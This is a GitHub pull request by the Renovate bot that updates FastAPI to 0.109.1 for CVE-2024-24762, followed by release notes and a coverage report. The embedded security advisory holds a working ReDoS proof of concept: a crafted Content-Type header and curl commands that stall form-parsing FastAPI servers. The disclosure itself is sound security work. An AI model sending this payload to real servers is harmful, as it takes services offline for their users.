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Update dependency fastapi to v0.109.1 [SECURITY] - autoclosed #573

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Update dependency fastapi to v0.109.1 [SECURITY] - autoclosed #573

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@renovate renovate bot commented May 7, 2024

Mend Renovate

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
fastapi 0.108.0 -> 0.109.1 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-24762

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

PoC

Create a simple WSGI application, that just parses the Content-Type, and run it with python main.py:

# main.py
from wsgiref.simple_server import make_server
from wsgiref.validate import validator

from multipart.multipart import parse_options_header

def simple_app(environ, start_response):
    _, _ = parse_options_header(environ["CONTENT_TYPE"])

    start_response("200 OK", [("Content-type", "text/plain")])
    return [b"Ok"]

httpd = make_server("", 8123, validator(simple_app))
print("Serving on port 8123...")
httpd.serve_forever()

Then send the attacking request with:

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'

Impact

It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data. This way it also affects other libraries using Starlette, like FastAPI.

Original Report

This was originally reported to FastAPI as an email to [email protected], sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

Original report to FastAPI

Hey Tiangolo!

My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @​nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).

Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@​app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@​app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@​app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}

I'm running the above with uvicorn with the following command:

uvicorn server:app

Then run the following cUrl command:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%

You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.

If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.

Cheers

Impact

An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.

Occurrences

params.py L586

Release Notes

tiangolo/fastapi (fastapi)

v0.109.1

Compare Source

Security fixes
  • ⬆️ Upgrade minimum version of python-multipart to >=0.0.7 to fix a vulnerability when using form data with a ReDos attack. You can also simply upgrade python-multipart.

Read more in the advisory: Content-Type Header ReDoS.

Features
Refactors
  • ✅ Refactor tests for duplicate operation ID generation for compatibility with other tools running the FastAPI test suite. PR #​10876 by @​emmettbutler.
  • ♻️ Simplify string format with f-strings in fastapi/utils.py. PR #​10576 by @​eukub.
  • 🔧 Fix Ruff configuration unintentionally enabling and re-disabling mccabe complexity check. PR #​10893 by @​jiridanek.
  • ✅ Re-enable test in tests/test_tutorial/test_header_params/test_tutorial003.py after fix in Starlette. PR #​10904 by @​ooknimm.
Docs
Translations
Internal

v0.109.0

Compare Source

Features
Upgrades
Docs
Translations
Internal

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate. View repository job log here.

@renovate renovate bot requested a review from arthurio May 7, 2024 13:48
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codecov bot commented May 7, 2024

Codecov Report

All modified and coverable lines are covered by tests ✅

Project coverage is 100.00%. Comparing base (feb524d) to head (25db880).

Additional details and impacted files

Impacted file tree graph

@@            Coverage Diff            @@
##              main      #573   +/-   ##
=========================================
  Coverage   100.00%   100.00%           
=========================================
  Files            6         6           
  Lines          189       189           
=========================================
  Hits           189       189

@renovate renovate bot changed the title Update dependency fastapi to v0.109.1 [SECURITY] Update dependency fastapi to v0.109.1 [SECURITY] - autoclosed May 7, 2024
@renovate renovate bot closed this May 7, 2024
@renovate renovate bot deleted the renovate/pypi-fastapi-vulnerability branch May 7, 2024 14:32
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